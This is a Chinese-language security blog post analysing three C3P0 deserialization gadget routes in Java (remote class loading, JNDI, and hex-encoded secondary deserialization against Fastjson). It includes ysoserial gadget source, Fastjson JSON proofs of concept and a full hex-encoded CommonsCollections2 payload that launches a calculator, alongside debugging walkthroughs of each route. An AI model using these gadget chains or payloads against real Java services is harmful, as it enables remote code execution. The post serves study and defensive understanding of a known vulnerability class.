Java安全之C3P0利用與分析

Zh1z3ven發表於2022-01-27

Java安全之C3P0利用與分析

寫在前面

很久以前就聽nice0e3師傅說打Fastjson可以試試C3P0,當時還不會java(雖然現在也沒會多少)也就沒有深究。最近除錯Fastjson的漏洞,又想到了這個點,就拿出來學習下。

C3P0 Gadget

C3P0中有三種利用方式

  • http base
  • JNDI
  • HEX序列化位元組載入器

下面來一點點看他們究竟是怎樣使用的。

先貼上ysoserial專案中C3P0 Gadget的原始碼:

package ysoserial.payloads;


import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;

import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/**
 *
 *
 * com.sun.jndi.rmi.registry.RegistryContext->lookup
 * com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
 * com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
 *
 * Arguments:
 * - base_url:classname
 *
 * Yields:
 * - Instantiation of remotely loaded class
 *
 * @author mbechler
 *
 */
@PayloadTest ( harness="ysoserial.test.payloads.RemoteClassLoadingTest" )
@Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} )
@Authors({ Authors.MBECHLER })
public class C3P0 implements ObjectPayload<Object> {
    public Object getObject ( String command ) throws Exception {
        int sep = command.lastIndexOf(':');
        if ( sep < 0 ) {
            throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
        }

        String url = command.substring(0, sep);
        String className = command.substring(sep + 1);

        PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
        Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
        return b;
    }




    private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {

        private String className;
        private String url;

        public PoolSource ( String className, String url ) {
            this.className = className;
            this.url = url;
        }

        public Reference getReference () throws NamingException {
            return new Reference("exploit", this.className, this.url);
        }

        public PrintWriter getLogWriter () throws SQLException {return null;}
        public void setLogWriter ( PrintWriter out ) throws SQLException {}
        public void setLoginTimeout ( int seconds ) throws SQLException {}
        public int getLoginTimeout () throws SQLException {return 0;}
        public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
        public PooledConnection getPooledConnection () throws SQLException {return null;}
        public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

    }


    public static void main ( final String[] args ) throws Exception {
        PayloadRunner.run(C3P0.class, args);
    }

}

http base

可以本地起一個反序列化的環境,匯入c3p0的依賴

<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>

會匯入下面兩個jar
c3p0-0.9.5.2.jar
mchange-commons-java-0.2.11.jar
在ysoserial專案中直接測試下

public static void main ( final String[] args ) throws Exception {
        // PayloadRunner.run(C3P0.class, args);
    C3P0 c3P0 = new C3P0();
    Object object = c3P0.getObject("http://127.0.0.1:9010/:calc");
    byte[] serialize = Serializer.serialize(object);
    ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serialize);
    ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
    Object o = objectInputStream.readObject();
}

之後準備個彈計算器的類,編譯成class,之後再起個http服務

import java.io.IOException;

public class calc {
    static{
        try {
            Runtime.getRuntime().exec("open -a Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

C3P0.getObject()

先來正向除錯下序列化的過程
先跟進看C3P0.getObject()前面是通過最後一個:拿到url和需要遠端載入的className

之後通過反射建立了一個PoolBackedDataSource物件

接著反射設定PoolBackedDataSourceBase類中屬性connectionPoolDataSourcePoolSource物件

Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));

例項化時會把urlclassName即我們遠端地址和惡意類的類名賦值給PoolSource的屬性

序列化

序列化時會呼叫com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject()方法,但是會丟擲異常進入catch部分

之後依然會呼叫writeObject方法

首先會先去indirector.indirectForm(this.connectionPoolDataSource),而this.connectionPoolDataSource的兩個屬性是我們的遠端地址和惡意類類名
indirectForm方法邏輯如下:

 public IndirectlySerialized indirectForm(Object var1) throws Exception {
    Reference var2 = ((Referenceable)var1).getReference();
    return new ReferenceIndirector.ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties);
}

首先呼叫我們傳入物件的getReference方法,也即是PoolSource#getReference()該方法會例項化一個Reference物件

後面將生成的Reference物件作為引數傳遞進ReferenceIndirector.ReferenceSerialized,呼叫有參構造去例項化

反序列化

反序列化入口點應在PoolBackedDataSourceBase#readObject()處,我們下個斷點跟進去

而在readObject()中會去呼叫ReferenceIndirector.ReferenceSerialized#getObject()方法,這裡單步除錯進不去,直接在getObject()方法內下斷點F9跟進去。這裡並沒有呼叫lookup而是走到呼叫ReferenceableUtils.referenceToObject(),繼續跟

通過URLClassLoader遠端載入類造成遠端程式碼執行

Class.forName()

在nice0e3師傅文章裡看到的,這個點以前學反射的時候沒深入跟,這裡深入學習一下。

這裡如果可以控制forName⽅法的第⼀個和第三個引數,並且第⼆個引數為 true,那麼就可以利⽤BCEL, ClassLoader實現任意程式碼載入執⾏ 。

首先可以把關鍵程式碼摳出來

ClassLoader var6 = Thread.currentThread().getContextClassLoader();
String var4 = "calc";
URL var8 = new URL("http://127.0.0.1:9010");
var7 = new URLClassLoader(new URL[]{var8}, var6);
Class var12 = Class.forName(var4, true, (ClassLoader)var7);

除錯下看看,進入Class.forName()後首先去看是否設定了SecurityManager沒有的話則去呼叫forName0()

public static Class<?> forName(String name, boolean initialize,
                                   ClassLoader loader)
        throws ClassNotFoundException
{
    if (loader == null) {
        SecurityManager sm = System.getSecurityManager();
        if (sm != null) {
            ClassLoader ccl = ClassLoader.getCallerClassLoader();
            if (ccl != null) {
                sm.checkPermission(
                    SecurityConstants.GET_CLASSLOADER_PERMISSION);
            }
        }
    }
    return forName0(name, initialize, loader);
}

forName0()裡是native程式碼,底層是C/C++實現,就跟不了了

private static native Class<?> forName0(String name, boolean initialize,
                                        ClassLoader loader)
    throws ClassNotFoundException;

官方文件說明:只有當 initialize引數是true並且之前沒有被初始化時,類才會被初始化。

Returns the Class object associated with the class or interface with the given string name, using the given class loader. Given the fully qualified name for a class or interface (in the same format returned by getName) this method attempts to locate, load, and link the class or interface. The specified class loader is used to load the class or interface. If the parameter loader is null, the class is loaded through the bootstrap class loader. The class is initialized only if the initialize parameter is true and if it has not been initialized earlier.

這裡其實在審計的時候也可以關注下forName()的引數是否可控,可控的話就可以通過初始化來觸發程式碼執行

JNDI

利用姿勢

以Fastjson為例
PoC

{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"rmi://127.0.0.1:1099/badClassName", "loginTimeout":0}

除錯分析

JNDI的話主要利用的是com.mchange.v2.c3p0.JndiRefForwardingDataSourceBase中的setjndiName()去設定我們遠端ldap地址

最終走第二個if中this.pcs.firePropertyChange()方法

public void setJndiName(Object jndiName) throws PropertyVetoException {
    Object oldVal = this.jndiName;
    if (!this.eqOrBothNull(oldVal, jndiName)) {
        this.vcs.fireVetoableChange("jndiName", oldVal, jndiName);
    }

    this.jndiName = jndiName instanceof Name ? ((Name)jndiName).clone() : jndiName;
    if (!this.eqOrBothNull(oldVal, jndiName)) {
        this.pcs.firePropertyChange("jndiName", oldVal, jndiName);
    }

}

之後在解析到loginTimeout欄位時會呼叫com.mchange.v2.c3p0JndiRefForwardingDataSource#setLoginTimeout()方法

public void setLoginTimeout(int seconds) throws SQLException {
    this.inner().setLoginTimeout(seconds);
}

inner()中,跟入this.dereference()

private synchronized DataSource inner() throws SQLException {
    if (this.cachedInner != null) {
        return this.cachedInner;
    } else {
        DataSource out = this.dereference();
        if (this.isCaching()) {
            this.cachedInner = out;
        }

        return out;
    }
}

在其中觸發了JNDI

先利用com.mchange.v2.c3p0.JndiRefDataSourceBase#setJndiName()設定遠端ldap地址,之後通過com.mchange.v2.c3p0JndiRefForwardingDataSource#setLoginTimeout() ==> this.inner() ==> InitialContext.lookup()觸發JNDI

Hex序列化位元組載入器

利用姿勢

這裡其實就是常聽到的就是用C3P0二次反序列化打Fastjson,因為像Fastjson和Jackson在反序列化時都會觸發setter方法的執行,而C3P0中userOverridesAsString的setter會將HexAsciiSerializedMap開頭的hex字串進行解碼再去觸發Java原生的反序列化
PoC

{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex編碼內容;"}}

先生成序列化payload,這裡的payload注意是需要本地的另一條Gadget比如CC或者CB鏈,然後hex編碼一下拼到PoC裡
CC2

➜  target java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "open -a Calculator" > calc.ser
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        System.out.println("hello");
        InputStream in = new FileInputStream("/Users/sangfor/Downloads/ysoserial-master/target/calc.ser");
        byte[] data = toByteArray(in);
        in.close();
        String HexString = bytesToHexString(data, data.length);
        System.out.println(HexString);

    }

    public static byte[] toByteArray(InputStream in) throws IOException {
        byte[] classBytes;
        classBytes = new byte[in.available()];
        in.read(classBytes);
        in.close();
        return classBytes;
    }

    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);

        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }

Calc Hex String

ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B787000000002737200426F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E5472616E73666F726D696E67436F6D70617261746F722FF984F02BB108CC0200024C00096465636F726174656471007E00014C000B7472616E73666F726D657274002D4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E73342F5472616E73666F726D65723B7870737200406F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E436F6D70617261626C65436F6D70617261746F72FBF49925B86EB13702000078707372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000E6E65775472616E73666F726D6572757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007704000000037372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E000B4C00055F6E616D6571007E000A4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000001757200025B42ACF317F8060854E00200007870000006A6CAFEBABE0000003200390A0003002207003707002507002601001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700270100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07002801003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C6574457863657074696F6E01001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507002A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002C002D0A002B002E0100126F70656E202D612043616C63756C61746F7208003001000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003200330A002B003401000D537461636B4D61705461626C6501001D79736F73657269616C2F50776E6572343835333735313638353139363001001F4C79736F73657269616C2F50776E657234383533373531363835313936303B002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002000D00000006000100000036000E0000000C000100000005000F003800000001001300140002000C0000003F0000000300000001B100000002000D0000000600010000003B000E00000020000300000001000F0038000000000001001500160001000000010017001800020019000000040001001A00010013001B0002000C000000490000000400000001B100000002000D0000000600010000003F000E0000002A000400000001000F003800000000000100150016000100000001001C001D000200000001001E001F00030019000000040001001A00080029000B0001000C00000024000300020000000FA70003014CB8002F1231B6003557B1000000010036000000030001030002002000000002002100110000000A000100020023001000097074000450776E727077010078737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B02000078700000000178

回顯RCE,PoC參考safe6sec專案

Godzilla4 Memshell

除錯分析

前面也提到了,主要是呼叫到userOverridesAsString的setter觸發了反序列化,跟進去看一下

 this.vcs.fireVetoableChange("userOverridesAsString", oldVal, userOverridesAsString);

跟進listeners[current].vetoableChange(event);

之後進入WrapperConnectionPoolDataSource#setUpPropertyListeners()方法,其中呼叫了C3P0ImplUtils.parseUserOverridesAsString((String)val)去解析我們傳入的HexString

private void setUpPropertyListeners() {
    VetoableChangeListener setConnectionTesterListener = new VetoableChangeListener() {
        public void vetoableChange(PropertyChangeEvent evt) throws PropertyVetoException {
            String propName = evt.getPropertyName();
            Object val = evt.getNewValue();
            if ("connectionTesterClassName".equals(propName)) {
                try {
                    WrapperConnectionPoolDataSource.this.recreateConnectionTester((String)val);
                } catch (Exception var6) {
                    if (WrapperConnectionPoolDataSource.logger.isLoggable(MLevel.WARNING)) {
                        WrapperConnectionPoolDataSource.logger.log(MLevel.WARNING, "Failed to create ConnectionTester of class " + val, var6);
                    }

                    throw new PropertyVetoException("Could not instantiate connection tester class with name '" + val + "'.", evt);
                }
            } else if ("userOverridesAsString".equals(propName)) {
                try {
                    WrapperConnectionPoolDataSource.this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString((String)val);
                } catch (Exception var5) {
                    if (WrapperConnectionPoolDataSource.logger.isLoggable(MLevel.WARNING)) {
                        WrapperConnectionPoolDataSource.logger.log(MLevel.WARNING, "Failed to parse stringified userOverrides. " + val, var5);
                    }

                    throw new PropertyVetoException("Failed to parse stringified userOverrides. " + val, evt);
                }
            }

        }
    };
    this.addVetoableChangeListener(setConnectionTesterListener);
}

繼續跟進,利用subString擷取了HexAsciiSerializedMap之後的Hex編碼字串,交給ByteUtils.fromHexAscii(hexAscii)把Hex轉成bytes陣列,之後呼叫SerializableUtils.fromByteArray(serBytes)處理

呼叫了deserializeFromByteArray方法,之後進入Java原生的readObject()

Reference

https://www.cnblogs.com/nice0e3/p/15058285.html
http://redteam.today/2020/04/18/c3p0的三個gadget/
https://github.com/safe6Sec/Fastjson

相關文章